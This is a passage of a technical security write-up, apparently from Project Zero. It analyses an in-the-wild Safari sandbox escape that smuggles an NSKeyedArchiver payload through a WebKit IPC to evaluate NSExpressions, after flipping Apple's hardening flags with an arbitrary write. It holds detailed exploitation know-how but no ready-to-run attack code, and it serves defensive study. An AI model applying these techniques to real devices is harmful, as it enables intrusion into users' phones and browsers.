style="page-break-before:always;display:none;"></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p><h3 class="YrefKOOkxY-c6" id="h.j77a7tywbhuc"><span class="YrefKOOkxY-c10">What's old is new again - NSArchiver</span></h3> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html">FORCEDENTRY sandbox escape exploit</a></span><span> which I wrote about last year used a logic flaw to enable the evaluation of an </span><span class="YrefKOOkxY-c3">NSExpression</span><span> across a sandbox boundary. If you're unfamiliar with </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> exploitation I'd recommend reading that post first. </span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>As part of the fix for that issue </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://developer.apple.com/documentation/ios-ipados-release-notes/ios-ipados-15_1-release-notes">Apple introduced various hardening measures</a></span><span> intended to restrict both the computational power of </span><span class="YrefKOOkxY-c3">NSExpression</span><span>s as well as the particular avenue used to cause the evaluation of an </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> during object deserialization.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The functionality was never actually removed though. Instead, it was deprecated and gated behind various flags. This likely did lock down the attack surface from certain perspectives; but with a sufficiently powerful initial primitive (like an arbitrary read/write) those flags can simply be flipped and the full power of </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">-based scripting can be regained. And that's exactly what this exploit continues on to do...</span></p><h3 class="YrefKOOkxY-c6" id="h.tjvrj1lxmfis"><span class="YrefKOOkxY-c10">Flipping bits</span></h3> <p class="YrefKOOkxY-c2"><span>Using the arbitrary read/write they flip the globals used in places like </span><span class="YrefKOOkxY-c3">__NSCoderEnforceFirstPartySecurityRules</span><span class="YrefKOOkxY-c5"> to disable various security checks.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They also swap around the implementation class of </span><span class="YrefKOOkxY-c3">NSSharedKeySet</span><span> to be </span><span class="YrefKOOkxY-c3">PrototypeTools::_OBJC_CLASS___PTModule</span><span> and swap the </span><span class="YrefKOOkxY-c3">NSKeyPathSpecifierExpression</span><span> and </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span> </span><span class="YrefKOOkxY-c3">classRef</span><span class="YrefKOOkxY-c5">s to point to each other.</span></p><h3 class="YrefKOOkxY-c6" id="h.5t3cg9cgeeq2"><span class="YrefKOOkxY-c10">Forcing Entry</span></h3> <p class="YrefKOOkxY-c2"><span>We've seen throughout this writeup that Safari has its own IPC mechanism with custom serialization - it's not using XPC or MIG or protobuf or Mojo or any of the dozens of other serialization options. But is it the case that </span><span class="YrefKOOkxY-c14">everything</span><span class="YrefKOOkxY-c5"> gets serialized with their custom code?</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>As we observed in the ForcedEntry writeup, it's often just one tiny, innocuous line of code which ends up opening up an enormous extra attack surface. In ForcedEntry it was a seemingly simple attempt to edit the loop count of a GIF. Here, there's another simple piece of code which opens up a potentially unexpected huge extra attack surface: NSKeyedArchiver. It turns out, you </span><span class="YrefKOOkxY-c14">can</span><span class="YrefKOOkxY-c5"> get NSKeyedArchiver objects serialized and deserialized across a Safari IPC boundary, specifically using this IPC:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RedirectReceived(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebKit::RemoteMediaResourceIdentifier identifier, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebCore::ResourceRequest request,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebCore::ResourceResponse response)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> -> </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (WebCore::ResourceRequest returnRequest)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This IPC takes two arguments:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">WebCore::ResourceRequest request</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">WebCore::ResourceResponse response</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Let's look at the </span><span class="YrefKOOkxY-c3">ResourceRequest</span><span class="YrefKOOkxY-c5"> deserialization code:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">bool</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ArgumentCoder<ResourceRequest>::decode(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ResourceRequest& resourceRequest)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool hasPlatformData;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!decoder.decode(hasPlatformData))</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return false;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool decodeSuccess = </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hasPlatformData ?</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> decodePlatformData(decoder, resourceRequest)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> :</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> resourceRequest.decodeWithoutPlatformData(decoder);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">That in turn calls:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">bool</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ArgumentCoder<WebCore::ResourceRequest>::decodePlatformData(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebCore::ResourceRequest& resourceRequest)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool requestIsPresent;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!decoder.decode(requestIsPresent))</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return false;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!requestIsPresent) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> resourceRequest = WebCore::ResourceRequest();</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return true;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto request = IPC::decode<NSURLRequest>(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> decoder, NSURLRequest.class);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>That last line decoding request looks slightly different to the others - rather than calling </span><span class="YrefKOOkxY-c3">decoder.decoder()</span><span class="YrefKOOkxY-c5"> passing the field to decode by reference they're explicitly typing the field here in the template invocation, which takes a different decoder path:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">​​template<typename T, typename></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">std::optional<RetainPtr<T>> decode(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder, Class allowedClass)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decode<T>(decoder, allowedClass ? </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> @[ allowedClass ] : @[ ]);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>(note the </span><span class="YrefKOOkxY-c3">@[]</span><span class="YrefKOOkxY-c5"> syntax defines an Objective-C array literal so this is creating an array with a single entry)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This then calls:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">template<typename T, typename></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">std::optional<RetainPtr<T>> decode(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder, NSArray<Class> *allowedClasses)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto result = decodeObject(decoder, allowedClasses);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!result)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return std::nullopt;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ASSERT(!*result ||</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> isObjectClassAllowed((*result).get(), allowedClasses));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return { *result };</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This continues on to a different argument decoder implementation than the one we've seen so far:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">std::optional<RetainPtr<id>></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">decodeObject(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSArray<Class> *allowedClasses)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool isNull;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!decoder.decode(isNull))</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return std::nullopt;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (isNull)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return { nullptr };</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSType type;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!decoder.decode(type))</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return std::nullopt;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">In this case, rather than knowing the type to decode upfront they decode a type dword from the message and choose a deserializer not based on what type they expect, but what type the message claims to contain:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">switch (type) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Array:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeArrayInternal(decoder, allowedClasses);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Color:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeColorInternal(decoder);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Dictionary:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeDictionaryInternal(decoder, allowedClasses);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Font:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeFontInternal(decoder);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Number:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeNumberInternal(decoder);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c13">case NSType::SecureCoding:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13"> return decodeSecureCodingInternal(decoder, allowedClasses);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::String:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeStringInternal(decoder);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Date:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeDateInternal(decoder);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Data:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeDataInternal(decoder);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::URL:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeURLInternal(decoder);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::CF:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeCFInternal(decoder);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Unknown:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> break;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2"><span><br>In this case they choose type </span><span class="YrefKOOkxY-c3">7</span><span>, which corresponds to </span><span class="YrefKOOkxY-c3">NSType::SecureCoding</span><span>, decoded by calling </span><span class="YrefKOOkxY-c3">decodeSecureCodingInternal</span><span> which allocates an </span><span class="YrefKOOkxY-c3">NSKeyedUnarchiver</span><span class="YrefKOOkxY-c5"> initialized with data from the IPC message:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">auto unarchiver =</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> adoptNS([[NSKeyedUnarchiver alloc]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> initForReadingFromData:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bridge_cast(data.get()) error:nullptr]);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The code adds a few more classes to the allow-list to be decoded:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">auto allowedClassSet =</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> adoptNS([[NSMutableSet alloc] initWithArray:allowedClasses]);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[allowedClassSet addObject:WKSecureCodingURLWrapper.class];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[allowedClassSet addObject:WKSecureCodingCGColorWrapper.class];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">if ([allowedClasses containsObject:NSAttributedString.class]) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [allowedClassSet</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unionSet:NSAttributedString.allowedSecureCodingClasses];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">then unarchives the object:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id result =</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [unarchiver decodeObjectOfClasses:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> allowedClassSet.get() </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> forKey:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSKeyedArchiveRootObjectKey];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The serialized root object sent by the attackers is a </span><span class="YrefKOOkxY-c3">WKSecureCodingURLWrapper</span><span>. Deserialization of this is allowed because it was explicitly added to the allow-list above. Here's the </span><span class="YrefKOOkxY-c3">WKSecureCodingURLWrapper::initWithCoder</span><span class="YrefKOOkxY-c5"> implementation:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">- (instancetype)initWithCoder:(NSCoder *)coder</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto selfPtr = adoptNS([super initWithString:@""]);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!selfPtr)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return nil;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> BOOL hasBaseURL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [coder decodeValueOfObjCType:"c"</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> at:&hasBaseURL</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> size:sizeof(hasBaseURL)];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RetainPtr<NSURL> baseURL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (hasBaseURL)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> baseURL =</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (NSURL *)[coder decodeObjectOfClass:NSURL.class </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> forKey:baseURLKey];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>This in turn decodes an </span><span class="YrefKOOkxY-c3">NSURL</span><span>, which decodes an </span><span class="YrefKOOkxY-c3">NSString</span><span> member named "</span><span class="YrefKOOkxY-c3">NS.relative</span><span>". The attacker object passes a subclass of </span><span class="YrefKOOkxY-c3">NSString</span><span> which is </span><span class="YrefKOOkxY-c3">_NSLocalizedString</span><span class="YrefKOOkxY-c5"> which sets up the following allow-list:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v10 = objc_opt_class_385(&OBJC_CLASS___NSDictionary);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v11 = objc_opt_class_385(&OBJC_CLASS___NSArray);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v12 = objc_opt_class_385(&OBJC_CLASS___NSNumber);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v13 = objc_opt_class_385(&OBJC_CLASS___NSString);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v14 = objc_opt_class_385(&OBJC_CLASS___NSDate);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v15 = objc_opt_class_385(&OBJC_CLASS___NSData);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v17 = objc_msgSend_setWithObjects__0(&OBJC_CLASS___NSSet, v16, v10, v11, v12, v13, v14, v15, 0LL);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v20 = objc_msgSend_decodeObjectOfClasses_forKey__0(a3, v18, v17, CFSTR("NS.configDict"));</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They then deserialize an </span><span class="YrefKOOkxY-c3">NSSharedKeyDictionary</span><span> (which is a subclass of </span><span class="YrefKOOkxY-c3">NSDictionary</span><span class="YrefKOOkxY-c5">):</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">-[NSSharedKeyDictionary initWithCoder:]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">v6 = objc_opt_class_388(&OBJC_CLASS___NSSharedKeySet);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v11 = (__int64)objc_msgSend_decodeObjectOfClass_forKey__4(a3, v8, v6, CFSTR("NS.skkeyset"));</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">NSSharedKeyDictionary</span><span> then adds </span><span class="YrefKOOkxY-c3">NSSharedKeySet</span><span class="YrefKOOkxY-c5"> to the allow-list and decodes one.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>But recall that using the arbitrary write they've swapped the implementation class used by </span><span class="YrefKOOkxY-c3">NSSharedKeySet</span><span> to instead be </span><span class="YrefKOOkxY-c3">PrototypeTools::_OBJC_CLASS___PTModule</span><span>! Which means that </span><span class="YrefKOOkxY-c3">initWithCoder</span><span> is now actually going to be called on a </span><span class="YrefKOOkxY-c3">PTModule</span><span>. And because they also flipped all the relevant security mitigation bits, unarchiving a </span><span class="YrefKOOkxY-c3">PTModule</span><span> will have the same side effect as it did in ForcedEntry of evaluating an </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span>. Except rather than a few kilobytes of serialized </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span>, this time it's half a megabyte. Things are only getting started!</span><hr style="page-break-before:always;display:none;"></p><h3 class="YrefKOOkxY-c6" id="h.7g1ruvk4x3ec"><span class="YrefKOOkxY-c10">Part II - Data Is All You Need</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">NSKeyedArchiver</span><span> objects are serialized as </span><span class="YrefKOOkxY-c3">bplist</span><span> objects. Extracting the </span><span class="YrefKOOkxY-c3">bplist</span><span> out of the exploit binary we can see that it's 437KB! The first thing to do is just run </span><span class="YrefKOOkxY-c3">strings</span><span> to get an idea of what might be going on. There are lots of strings we'd expect to see in a serialized </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSPredicateOperator_</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSRightExpression_</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSLeftExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSComparisonPredicate[NSPredicate</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">^NSSelectorNameYNSOperand[NSArguments</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSFunctionExpression\NSExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSConstantValue</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSConstantValueExpressionTself</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">\NSCollection</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">NSAggregateExpression</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">There are some indications that they might be doing some much more complicated stuff like executing arbitrary syscalls:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">syscallInvocation</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">manipulating locks:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">os_unfair_unlock_0x34</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">%os_unfair_lock_0x34InvocationInstance</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">spinning up threads:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">.detachNewThreadWithBlock:_NSFunctionExpression</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">detachNewThreadWithBlock:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">!NSThread_detachNewThreadWithBlock</span></p> <p class="YrefKOOkxY-c2"><span 